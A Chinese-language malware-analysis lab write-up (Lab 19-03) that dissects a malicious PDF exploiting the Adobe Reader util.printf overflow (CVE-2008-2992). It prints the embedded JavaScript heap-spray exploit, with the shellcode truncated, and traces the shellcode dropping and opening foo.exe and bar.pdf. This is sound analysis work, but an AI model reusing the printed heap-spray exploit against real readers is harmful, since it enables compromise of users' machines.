恶意代码分析实战 — Lab 19-03
使用pdfstreamdumper工具加载pdf,对11个objects查看,在第9个看到JS代码

点击Exploit Scan查看漏洞情况,存在CVE-2008-2992漏洞,与Adobe Reader的util.printf有关,出现在stream:9位置处,是一个缓冲区溢出漏洞

Javascript代码使用unescape函数,%u编码

查看JS代码,基本功能为检查pdf版本,使用堆喷射技术,通过util.printf触发进行缓冲区溢出攻击
var payload = unescape("%ue589%uec81...%u9090"); var version = app.viewerVersion; app.alert("Running PDF JavaScript!"); if (version >= 8 && version < 9) { var payload; nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A"); heapblock = nop + payload; bigblock = unescape("%u0A0A%u0A0A"); headersize = 20; spray = headersize+heapblock.length; while (bigblock.length<spray) { bigblock+=bigblock; } fillblock = bigblock.substring(0, spray); block = bigblock.substring(0, bigblock.length-spray); while(block.length+spray < 0x40000) { block = block+block+fillblock; } mem = new Array(); for (i=0;i<1400;i++) { mem[i] = block + heapblock; } var num = 12999999999999999999888888...; util.printf("E000f",num); } else { app.alert("Unknown PDF version!"); }
使用scdbg查看
命令scdbg -f *.bin -fopen *.pdf -i
可以看到在临时文件夹下创建了foo.exe和bar.pdf,并执行打开bar.pdf文件

Idapro载入.bin文件,首先调用sub_17B

跳转,首先调用sub_CA,此函数是获取kernel32.dll基地址
Sub_7E是计算函数hash

shell32入栈作为LoadLibrary参数

可以看到foo.exe文件创建

之后还有bar.pdf创建和open操作等
